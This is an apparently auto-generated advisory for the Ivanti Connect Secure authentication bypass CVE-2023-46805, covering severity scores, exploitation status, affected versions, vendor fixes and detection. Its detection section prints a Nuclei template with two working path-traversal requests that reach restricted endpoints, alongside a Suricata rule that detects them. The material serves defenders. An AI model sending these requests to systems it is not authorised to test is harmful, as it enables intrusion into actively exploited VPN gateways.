CVE-2023-46805: Ivanti Connect Secure and Policy Secure Authentication Bypass Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-08 00:03 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.
Description quoted from the CVE record (assigned by hackerone, published 2024-01-12).
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity low, availability none. CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: partial.
- On CISA KEV since
- 2024-01-10
- US federal deadline
- 2024-01-22
- Ransomware use
- Yes
Public exploit evidence (Exploit Observer)
Exploit Observer found 2 Metasploit modules, 1 Nuclei template, 15 code repositories and 3 research write-ups naming this CVE.
- Metasploit module
- Metasploit module
- Nuclei template (ProjectDiscovery)
- AttackerKB analysis
- watchTowr Labs analysis
- Rapid7 analysis
Code repositories that name a CVE are often scanners, copies or fakes, and some are malware. Read the code before running anything.
See all 30 references on Exploit Observer
Live scores
- EPSS
- 1.000
very likely to be attacked soon - VEDAS
- 0.979
strong exploit evidence - On CISA KEV
- Yes, since 2024-01-10
Thin horizontal line: the “likely exploited” threshold (EPSS 0.10, VEDAS 0.5). Shaded “no data” areas are periods when cve-scores did not publish.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Ivanti ICS | from 9.1R18 up to and including 9.1R18 from 22.6R2 up to and including 22.6R2 | Not stated |
| Ivanti IPS | from 9.1R18 up to and including 9.1R18 from 22.6R1 up to and including 22.6R1 | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
CISA required action: Apply mitigations per vendor instructions or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
- https://nvd.nist.gov/vuln/detail/CVE-2023-46805
How to detect it
Nuclei template (active check)
Ivanti ICS - Authentication Bypass
An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure allows a remote attacker to access restricted resources by bypassing control checks.
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (GET /api/v1/totp/user-backup-code/../../system/system-information, GET /api/v1/cav/client/status/../../admin/options); it decides using dsl matchers. Severity in the template: high. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2023-46805.yamlShow the template (45 lines)
id: CVE-2023-46805
info:
name: "Ivanti ICS - Authentication Bypass"
author: vedas-arpsyndicate
severity: high
description: |
An authentication bypass vulnerability in the web component of Ivanti ICS 9.x, 22.x and Ivanti Policy Secure
allows a remote attacker to access restricted resources by bypassing control checks.
reference:
- https://www.exploit.observer/?keyword=CVE-2023-46805&match=exact
- https://subdomain.center/?engine=ammonites&keyword=ivanti&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N
cvss-score: 8.2
cve-id: CVE-2023-46805
cwe-id: CWE-287
metadata:
verified: false
tags: packetstorm,cve,cve2023,kev,auth-bypass,ivanti,vkev,vuln
http:
- raw:
- |
GET /api/v1/totp/user-backup-code/../../system/system-information HTTP/1.1
Host: {{Hostname}}
- |
GET /api/v1/cav/client/status/../../admin/options HTTP/1.1
Host: {{Hostname}}
matchers-condition: or
matchers:
- type: dsl
dsl:
- 'status_code_1 == 200'
- 'contains_all(body_1, "build", "system-information", "software-inventory")'
- 'contains(header_1, "application/json")'
condition: and
- type: dsl
dsl:
- 'status_code_2 == 200'
- 'contains_all(body_2, "poll_interval\": 300", "block_message\": \"")'
- 'contains(header_2, "application/json")'
condition: and
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2023-46805 Ivanti ICS - Authentication Bypass. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2023-46805 Ivanti ICS - Authentication Bypass"; flow:established,to_server; http.uri; content:"system-information"; nocase; content:"../"; nocase; fast_pattern; classtype:web-application-attack; reference:cve,CVE-2023-46805; reference:url,https://www.exploit.observer/?keyword=CVE-2023-46805&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=ivanti&match=exact; sid:1009694; rev:1;)
CVE-2023-46805.rules on GitHub
Advisories on this CVE
- “ClingSTUN” Linux backdoor turns IoT devices into proxy nodes and hides its C2 inside public STUN traffic (full advisory)
References
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2023-46805 (government-resource)
Other references
- https://forums.ivanti.com/s/article/CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
- http://packetstormsecurity.com/files/176668/Ivanti-Connect-Secure-Unauthenticated-Remote-Code-Execution.html
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.